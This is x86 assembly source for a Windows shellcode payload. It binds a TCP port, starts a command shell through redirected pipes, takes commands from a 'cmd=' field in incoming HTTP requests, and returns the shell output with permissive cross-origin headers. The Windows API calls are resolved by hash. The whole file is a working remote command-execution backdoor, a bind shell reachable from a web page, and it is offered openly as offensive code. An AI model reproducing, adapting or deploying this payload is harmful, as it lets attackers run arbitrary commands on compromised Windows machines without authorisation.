;-----------------------------------------------------------------------------;
; Author: Ty Miller @ Threat Intelligence
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Version: 1.0 (2nd December 2011)
;-----------------------------------------------------------------------------;
[BITS 32]

;INPUT: EBP is block_api.

%include "src/block_virtualalloc.asm"
			 ; Input: None
			 ; Output: EAX holds pointer to the start of buffer 0x1000 bytes, EBX holds value 0x1000
			 ; Clobbers: EAX, EBX, ECX, EDX

  mov esi, eax		 ; point esi to start of buffer, used as pseudo-frame pointer

%include "src/block_pipes.asm"
			 ; Create pipes to redirect stage stdin, stdout, stderr
			 ; Input: EBP is api_call
			 ; Output:
			 ;       esp+00  child stdin  read  file descriptor (inherited)
			 ;       esp+04  child stdin  write file descriptor (not inherited)
			 ;       esp+08  child stdout read  file descriptor (not inherited)
			 ;       esp+12  child stdout write file descriptor (inherited)
			 ;       esp+16  lpPipeAttributes structure (not used after block - 12 bytes)
			 ; Clobbers: EAX, EBX, ECX, EDI, ESP will decrement by 28 bytes

  mov edi,esi		 ; save esi since it gets clobbered

%include "src/block_shell_pipes.asm"
			 ; Create process with redirected stdin, stdout, stderr to our pipes
			 ; Input:
			 ;       EBP is api_call
			 ;       esp+00  child stdin  read  file descriptor (inherited)
			 ;       esp+04  not used
			 ;       esp+08  not used
			 ;       esp+12  child stdout write file descriptor (inherited)
			 ; Output: None.
			 ; Clobbers: EAX, EBX, ECX, EDX, ESI, ESP will also be modified

  mov esi,edi		 ; restore esi

ReadLoop:		 ; Read output from the child process

clear_buffer:
  mov ecx,0xFF8		 ; zero output buffer starting at esi+8 with 0xFF8 nulls
  lea eax,[esi+8]	 ; point eax to start of command/output buffer
zero_buffer:            
  mov byte [eax],0	 ; push a null dword
  inc eax		 ; point to the next byte in the buffer
  loop zero_buffer	 ; keep looping untill we have zeroed the buffer


response_headers:
  push esi		 ; save pointer to start of buffer
  lea edi,[esi+1048]	 ; set pointer to output buffer
  call get_headers       ; locate the static http response headers
  db 'HTTP/1.1 200 OK', 0x0d, 0x0a, 'Content-Type: text/html', 0x0d, 0x0a, 'Access-Control-Allow-Origin: *', 0x0d, 0x0a, 'Content-Length: 3016', 0x0d, 0x0a, 0x0d, 0x0a
get_headers:
  pop esi		 ; get pointer to response headers into esi
  mov ecx, 98            ; length of http response headers
  rep movsb              ; move the http headers into the buffer
  pop esi		 ; restore pointer to start of buffer


bind_port:
  push esi		 ; save buffer pointer onto stack
%include "src/block_bind_tcp.asm"       ;by here we will have performed the bind_tcp connection to setup our external web socket
			 ; Input: EBP must be the address of 'api_call'.
			 ; Output: EDI will be the newly connected clients socket
			 ; Clobbers: EAX, EBX, ESI, EDI, ESP will also be modified (-0x1A0)

  add esp, 0x1A0	 ; restore stack pointer
  pop esi		 ; restore buffer pointer
  mov [esi], edi	 ; save external socket to buffer


recv:                    ; Receive the web request - must be a post request with command ending with a new line character
  push byte 0            ; flags
  push 0x400             ; allocated space for command (512 bytes)
  mov ebx, esi           ; start of our request/response memory buffer
  add ebx, 8		 ; start of our allocated command space
  push ebx               ; start of our allocated command space
  push dword [esi]       ; external socket
  push 0x5FC8D902        ; hash( "ws2_32.dll", "recv" )
  call ebp               ; recv( external_socket, buffer, size, 0 );

find_cmd:  		 ; Search for "cmd=" in the web request
  mov edx, [esp+0x64]    ; stage stdin read file descriptor (40)
  mov ecx, 0x400         ; set ecx to be our buffer counter
next:
  cmp dword [ebx], 0x3d646d63   ; check if ebx points to "cmd="
  jz cmd_found           ; if we found "cmd=" then parse the command
  inc ebx                ; point ebx to next char in request data
  dec ecx                ; dec our buffer counter
  jecxz read_file_check  ; if our counter is 0 then we found no command, so recv more data
  jmp short next         ; check next location for "cmd="
cmd_found:               ; now pointing to start of our command - MAY fail if the command is cut off
  add ebx, 0x03          ; starts off pointing at "cmd=" so add 3 (plus  inc eax below) to point to command

next_cmd_char:
  inc ebx                ; move our command string pointer up one character
  push ebx               ; save command pointer to the stack

write_file:
  push 0		 ; pOverlapped = NULL
  lea edi,[esi+1040]	 ; 4 bytes for bytes written
  push edi		 ; pBytesWritten
  push 1		 ; nBytesToWrite
  push ebx		 ; command string in buffer
  mov ebx,[esp+70h]	 ; Child stdin
  push ebx		 ; child stdin
  push 0x5BAE572D	 ; hash(kernel32.dll, WriteFile)
  call ebp		 ; WriteFile

  pop ebx                ; restore command pointer from the stack
  cmp byte [ebx], 0x0a   ; check if we have just sent a new line
  jnz next_cmd_char      ; if we haven't finished sending the cmd then send the next char, else we want to read the cmd output from internal stage socket


%include "src/block_sleep.asm"
			 ; Input: None
			 ; Output: None. Sleeps for x seconds
			 ; Clobbers: None

read_file_check:
  xor eax, eax		 ; zero eax
  push eax		 ; lpBytesLeftThisMessage
  lea ebx,[esi+4]	 ; address to output the result - num bytes available to read
  push ebx		 ; lpTotalBytesAvail
  push eax		 ; lpBytesRead
  push eax		 ; nBufferSize
  push eax		 ; lpBuffer
  lea ebx,[esp+74h]	 ; child stdout read address
  mov ebx, [ebx]	 ; child stdout read file descriptor
  push ebx               ; hNamedPipe
  push 0xB33CB718	 ; hash(kernel32.dll,PeekNamedPipe)
  call ebp		 ; PeekNamedPipe

  test eax, eax		 ; check the function return correctly
  jz close_handle	 ; no, then close the connection and start again
  mov eax, [esi+4]	 ; Grab the number of bytes available
  test eax, eax		 ; check for no bytes to read
  jz close_handle	 ; no, then close the connection and start again

read_file:
  push 0                 ; pOverlapped = NULL
  lea edi,[esi+1044]     ; output: number of bytes read
  push edi               ; pBytesRead
  push 0xB86             ; BytesToRead: remaining space in our allocated buffer
  ;lea edi,[esi+1114]     ; start of remaining space in buffer after response headers
  lea edi,[esi+1146]     ; start of remaining space in buffer after response headers
  push edi               ; start of remaining space in buffer after response headers
  lea ebx,[esp+70h]	 ; child stdout read address
  mov ebx, [ebx]	 ; child stdout read file descriptor
  push ebx               ; hFile: child stdout address
  push 0xBB5F9EAD	 ; hash(kernel32.dll,ReadFile)
  call ebp               ; ReadFile


send_output:             ; send buffer to the external socket
  push byte 0            ; flags
  push 0xBE8             ; len
  lea edi,[esi+1048]     ; start of output buffer
  push edi               ; pointer to buffer
  push dword [esi]       ; external socket
  push 0x5F38EBC2        ; hash ( "ws2_32.dll", "send" )
  call ebp               ; send(external_socket, *buf, len, flags);


close_handle:
  push dword [esi]	 ; hObject: external socket
  push 0x528796C6	 ; hash(kernel32.dll,CloseHandle)
  call ebp		 ; CloseHandle

  jmp ReadLoop

